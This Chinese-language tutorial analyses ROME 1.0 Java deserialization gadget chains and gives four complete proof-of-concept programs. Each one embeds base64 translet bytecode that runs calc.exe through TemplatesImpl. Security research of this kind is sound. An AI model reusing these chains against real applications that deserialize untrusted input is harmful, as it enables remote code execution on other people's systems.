简介
ROME是一个开源的用于RSS和Atom订阅的Java框架。
ROME包括一套解析器和生成器,可用于各种形式的聚合提要,以及将一种格式转换为另一种格式的转换器。解析器可以为您提供特定格式的Java对象,或者是通用的规范化SyndFeed类,让您可以处理数据,而无需考虑传入或传出的feed类型。
环境搭建
环境:
依赖:
1 2 3 4 5
| <dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0</version> </dependency>
|
相关类和方法
ObjectBean.toString
在com.sun.syndication.feed.impl.ObjectBean类中存在toString方法:

其中_toStringBean可通过两个构造函数控制:


这里创建了一个toStringBean对象:

toStringBean.toString

主要用于生成对象的字符串表示,最后调用了**toStringBean.toString(prefix)**方法:

该方法用于生成对象的字符串表示。它使用BeanIntrospector获取目标类的所有属性描述符,遍历所有无参、非Object类的getter方法,调用这些方法获取属性值
所以这里就能看变量是否可控来尝试执行TemplatesImpl.getOutputProperties方法加载字节码
ObjectBean.hashCode

会调用**_equalsBean.beanHashCode()**方法


会调用_obj.toString().hashCode()
EqualsBean.equals

调用EqualsBean.beanEquals方法:

先比较两个JavaBean对象是否相等,然后获取_beanClass属性读取方法(getter)并调用
ROME链分析
BadAttributeValueExpException链分析
在前面相关类和方法中我们知道toStringBean.toString方法是能够获取_beanClass的所有属性描述符,并遍历执行getter方法,所以我们这里就需要思考能否将他控制为Templates.class


toStringBean类存在两个构造函数给_beanClass赋值。
而前面我们知道ObjectBean的构造函数是能创建ToStringBean对象的:

所以完全是可控的

同时由于调用getter方法是通过反射调用,所以需要**_obj**为TemplatesImpl的一个实例对象
而ObjectBean.toString是能调用**_toStringBean.toString方法的,所以只需要找一条链子能触发ObjectBean.toString**
这里很容易想到CC5中的BadAttributeValueExpException类,在它的readObject方法中:

会调用valobj.toString()方法,所以只用传入valobj为ObjectBean即可
构造:
1 2 3 4 5 6
| BadAttributeValueExpException bad=new BadAttributeValueExpException(null); ObjectBean objectBean=new ObjectBean(Templates.class,impl);
Field v=bad.getClass().getDeclaredField("val"); v.setAccessible(true); v.set(objectBean,"val");
|
完整poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64;
public class rome_1 { public static void main(String[] args) throws Exception { byte[] bytes= Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");
TemplatesImpl Impl=new TemplatesImpl(); setValue(Impl,"_name","b1uel0n3"); setValue(Impl,"_class",null); setValue(Impl,"_bytecodes",new byte[][]{bytes}); setValue(Impl,"_tfactory",new TransformerFactoryImpl());
BadAttributeValueExpException bad=new BadAttributeValueExpException(null); ObjectBean objectBean=new ObjectBean(Templates.class,Impl);
Field v=bad.getClass().getDeclaredField("val"); v.setAccessible(true); v.set(bad,objectBean);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(bad); oos.close();
ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream(in); Object ob = (Object) ois.readObject(); } public static void setValue(Object obj, String fieldName, Object value) throws Exception { Field field=obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); } }
|

调用链:
1 2 3 4 5 6 7 8 9
| ObjectInputStream -> readObject() BadAttributeValueExpException -> readObject() ObjectBean -> toString() toStringBean -> toString() TemplatesImpl -> getOutputProperties() TemplatesImpl -> newTransformer() TemplatesImpl -> getTransletInstance() TemplatesImpl -> defineTransletClasses() TemplatesImpl -> defineClass()
|
ObjectBean链分析
在ysoserial中,选取的是HashMap作为链子的起始点:

会调用hash方法:

这里key是存入HashMap的键,可控
而ysoserial是调用的ObjectBean.hashCode方法:

会调用**_equalsBean.beanHashCode()**方法


这里就会调用toString方法
而这里的**_obj**是一个恶意的ObjectBean
但我们还需要一个ObjectBean,this._beanClass中的Class需要为com.sun.syndication.feed.impl.ObjectBean类的Class,不然会报错
构造:
1 2 3 4 5
| ObjectBean bean=new ObjectBean(TemplatesImpl.class,Impl); ObjectBean Bean=new ObjectBean(BeanClass.class,bean); HashMap map=new HashMap(); map.put(Bean,"b1uel0n3");
|
完整POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.ObjectBean; import sun.plugin.com.BeanClass;
import javax.management.BadAttributeValueExpException; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap;
public class rome_2 { public static void main(String[] args) throws Exception { byte[] bytes= Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");
TemplatesImpl Impl=new TemplatesImpl(); setValue(Impl,"_name","b1uel0n3"); setValue(Impl,"_class",null); setValue(Impl,"_bytecodes",new byte[][]{bytes}); setValue(Impl,"_tfactory",new TransformerFactoryImpl());
ObjectBean bean=new ObjectBean(TemplatesImpl.class,Impl); ObjectBean Bean=new ObjectBean(ObjectBean.class,bean);
HashMap map=new HashMap(); map.put(Bean,"b1uel0n3");
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(map); oos.close();
ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream(in); ois.readObject(); ois.close(); } public static void setValue(Object obj, String fieldName, Object value) throws Exception { Field field=obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); } }
|

调用链:
1 2 3 4 5 6 7 8 9 10 11 12
| ObjectInputStream -> readObject() HashMap -> readObject() HashMap -> hash(key) ObjectBean -> hashCode() EqualsBean -> beanHashCode() ObjectBean -> toString() toStringBean -> toString() TemplatesImpl -> getOutputProperties() TemplatesImpl -> newTransformer() TemplatesImpl -> getTransletInstance() TemplatesImpl -> defineTransletClasses() TemplatesImpl -> defineClass()
|
EqualsBean链分析
在equalsBean.beanEquals方法中存在着与toStringBean.toString类似的机制,都会获取_beanClass的所有属性描述符包括getter方法,然后利用反射调用指定对象的这些方法:

而EqualsBean.equals能调用该方法。所以我们需要找到一个链子能调用EqualsBean.equals方法,这里我们我容易想到CC7链,Hashtable.readObject:

调用reconstitutionPut方法:

这里按CC7的剧情会调用LazyMap.equals方法,但LazyMap并没有该方法就会调用父类AbstractMapDecorator的equals方法,然后调用hashMap.equals方法:

由于HashMap没有实现equals方法,会调用AbstructMap方法的equals方法:

方法下存在一处调用hashMap的value的equals方法
所以最后是调用hashmap.equals方法
所以需要传入的value为EqualsBean

同时需要满足bean2不为null且bean2属于TemplatesImpl的子类或者实现类
那么需要保证两个hashmap具有相同元素,我们可以这样构造:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| EqualsBean bean = new EqualsBean(String.class, "b1uel0n3");
HashMap hashMap1 = new HashMap(); hashMap1.put("AaAaAa", bean); hashMap1.put("BBAaBB", Impl);
HashMap hashMap2 = new HashMap(); hashMap2.put("AaAaAa", Impl); hashMap2.put("BBAaBB", bean);
Hashtable map = new Hashtable(); map.put(hashMap1, "1"); map.put(hashMap2, "2");
setValue(bean, "_beanClass", Templates.class); setValue(bean, "_obj", Impl);
|
在调用hashtable.put方法时,会触发一次equals方法导致报错。EqualsBean的equals方法的调用跟Objectbean的相同,我们可以实例化EqualsBean对象作为equals方法的触发对象,也方便利用反射修改属性值
完整poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Hashtable;
public class rome_3 { public static void main(String[] args) throws Exception { byte[] bytes= Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");
TemplatesImpl Impl=new TemplatesImpl(); setValue(Impl,"_name","b1uel0n3"); setValue(Impl,"_class",null); setValue(Impl,"_bytecodes",new byte[][]{bytes}); setValue(Impl,"_tfactory",new TransformerFactoryImpl());
EqualsBean bean = new EqualsBean(String.class, "b1uel0n3");
HashMap hashMap1 = new HashMap(); hashMap1.put("AaAaAa", bean); hashMap1.put("BBAaBB", Impl);
HashMap hashMap2 = new HashMap(); hashMap2.put("AaAaAa", Impl); hashMap2.put("BBAaBB", bean);
Hashtable map = new Hashtable(); map.put(hashMap1, "1"); map.put(hashMap2, "2");
setValue(bean, "_beanClass", Templates.class); setValue(bean, "_obj", Impl);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(map); oos.close();
ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream(in); ois.readObject(); ois.close(); } public static void setValue(Object obj, String fieldName, Object value) throws Exception { Field field=obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); } }
|
Hashtable链
在前面的分析中其实我们可以注意到其实会调用hashcode方法,那么我们直接就可以利用ObjectBean.hashCode
构造:
1 2 3 4 5 6 7 8 9 10 11
| ToStringBean ToStringBean = new ToStringBean(Object.class, "b1uel0n3"); ObjectBean Bean = new ObjectBean(ToStringBean.class, ToStringBean);
HashMap hashmap = new HashMap(); hashmap.put(Bean, "b1uel0n3");
Hashtable map=new Hashtable(); map.put(hashmap, "1");
setValue(ToStringBean, "_obj", Impl); setValue(ToStringBean, "_beanClass", Templates.class);
|
注意Hashtable.put依然会执行一次hashCode方法,所以同样需要先传入假的对象,由于是ObjectBean.hashCode->EqualsBean.beanEquals->ToStringBean.toString->getter,最后是通过传入ToStringBean恶意对象,所以只用它先传入假的即可
完整POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Hashtable;
public class rome_4 { public static void main(String[] args) throws Exception { byte[] bytes= Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");
TemplatesImpl Impl=new TemplatesImpl(); setValue(Impl,"_name","b1uel0n3"); setValue(Impl,"_class",null); setValue(Impl,"_bytecodes",new byte[][]{bytes}); setValue(Impl,"_tfactory",new TransformerFactoryImpl());
ToStringBean ToStringBean = new ToStringBean(Object.class, "b1uel0n3"); ObjectBean Bean = new ObjectBean(ToStringBean.class, ToStringBean);
HashMap hashmap = new HashMap(); hashmap.put(Bean, "b1uel0n3");
Hashtable map=new Hashtable(); map.put(hashmap, "1");
setValue(ToStringBean, "_obj", Impl); setValue(ToStringBean, "_beanClass", Templates.class);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(map); oos.close();
ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream(in); ois.readObject(); ois.close(); } public static void setValue(Object obj, String fieldName, Object value) throws Exception { Field field=obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); } }
|

调用链:
1 2 3 4 5 6 7 8 9 10 11
| ObjectInputStream -> readObject() Hashtable -> readObject() Hashtable -> reconstitutionPut() ObjectBean -> hashCode() EqualsBean -> beanHashCode() toStringBean -> toString() TemplatesImpl -> getOutputProperties() TemplatesImpl -> newTransformer() TemplatesImpl -> getTransletInstance() TemplatesImpl -> defineTransletClasses() TemplatesImpl -> defineClass()
|